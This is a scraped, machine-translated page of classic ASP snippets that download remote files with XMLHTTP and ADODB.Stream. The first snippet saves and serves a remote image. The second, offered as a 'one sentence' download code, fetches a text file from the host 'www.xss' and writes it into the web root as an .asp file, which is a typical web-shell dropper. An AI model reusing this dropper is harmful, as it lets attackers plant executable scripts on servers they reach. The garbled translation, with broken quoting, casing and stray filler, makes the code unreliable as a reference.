ASP in the use of XMLHTTP download remote pictures, files, and save to the local

Source: Internet
Author: User

Example 2

Binary download remote pictures, files, and save to Local:

  code is as follows copy code

Private Function getpicture (X) ' Get Picture data
    Set XML = Server.CreateObject (' microsoft.xmlhttp ')
     XML. Open "Get", X, False
    XML. Send
    getpicture = XML. Responsebody
    Set xml=nothing
End Function

Dim tmp
TMP = getpicture (URL) ' Get Picture data

'

Set ADO = Server.CreateObject ("ADODB. Stream ")
ADO. Type = 1 ' adtypebinary
ADO. Open
ADO. Write Tmp
ADO. SaveToFile P, 2 ' Save as file
ADO. Close

Response.ContentType = "Image/jpeg"
response.binarywrite Tmp ' output picture data

ASP in the XMLHTTP download a sentence code, need friends can refer to the next

Share

The Godlong of learning in the 3est activity

The code is as follows:

The code is as follows Copy Code

<%
Set Xpost = CreateObject ("Microsoft.XMLHTTP")
Xpost.open "Get", "Http://www.xss/1.txt", 0 ' download file address
Xpost.send ()
Set Sget = CreateObject ("ADODB. Stream ")
Sget.mode = 3
Sget.type = 1
Sget.open ()
Sget.write (Xpost.responsebody)
Sget.savetofile "E:wwwrootfuck1.asp", 2
%>

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.